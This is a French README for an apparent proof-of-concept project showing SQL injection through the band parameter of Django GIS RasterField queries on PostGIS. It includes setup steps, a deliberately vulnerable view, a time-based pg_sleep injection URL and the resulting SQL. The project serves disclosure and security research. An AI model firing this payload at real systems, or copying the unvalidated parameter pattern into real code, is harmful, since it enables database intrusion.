
Dans le framework Django, lors de l'utilisation de PostGIS pour interroger des données raster géographiques, l'utilisation directe d'entrées utilisateur non validées en tant que paramètre d'index de bande (band index) peut entraîner une injection SQL.
Type de vulnérabilité : Injection SQL (SQL Injection)
Composant concerné : django.contrib.gis RasterField
Lors de l'utilisation du RasterField de Django GIS pour effectuer des requêtes, le paramètre band est directement concaténé dans la requête SQL, ce qui entraîne une vulnérabilité d'injection SQL. Un attaquant peut injecter du code SQL arbitraire en construisant une valeur malveillante pour le paramètre band.
CVE-2026-1207/
├── .devcontainer/ # Configuration VSCode DevContainer
├── .vscode/ # Configuration VSCode
├── vuln/ # Application de démonstration de la vulnérabilité
│ ├── models.py # Modèle contenant RasterField
│ ├── views.py # Point de déclenchement de la vulnérabilité
│ └── migrations/ # Fichiers de migration de la base de données
├── web/ # Configuration du projet Django
├── manage.py
├── README.md
Ce projet de vulnérabilité est construit à l'aide du devcontainer de VSCode.
Ouvrez le répertoire racine du projet existant (contenant le dossier .devcontainer) avec VS Code.
Appuyez sur Ctrl+Shift+P (Windows/Linux) ou Cmd+Shift+P (Mac)
Saisissez Remote-Containers: Reopen in Container
VS Code lira la configuration .devcontainer et construira le conteneur (la première construction peut prendre quelques minutes)
⚠️ Si le Dockerfile ou les dépendances ont été mis à jour, vous pouvez choisir Remote-Containers: Rebuild Container pour garantir l'utilisation de l'environnement le plus récent.
Ouvrez la palette de commandes Ctrl+Shift+P
Saisissez Tasks: Run Task
Sélectionnez django:start (la tâche est déjà configurée dans .vscode/tasks.json)
Cette tâche démarrera le serveur de développement Django dans le conteneur
Il écoute par défaut sur 0.0.0.0:8087
Ouvrez le navigateur et accédez à :
http://localhost:8087
La première exécution peut nécessiter l'application des migrations de la base de données :
python manage.py migrate
L'analyse détaillée de la vulnérabilité est publiée sur 先知 https://xz.aliyun.com/news/91993
Compte officiel WeChat https://mp.weixin.qq.com/s/p7EZRKZBp-mRGhYqyc8i3A
Accédez à l'URL suivante pour déclencher l'injection SQL :
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
Observez le temps de réponse : une requête normale doit renvoyer immédiatement, tandis que la requête injectée sera retardée d'environ 3 secondes.
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← entrée utilisateur non filtrée
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band transmis directement à la requête
print(qs.query) # ← affiche la requête SQL générée
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
Ce projet est fourni à des fins de recherche en sécurité et d'éducation uniquement. Ne l'utilisez pas sur des systèmes non autorisés.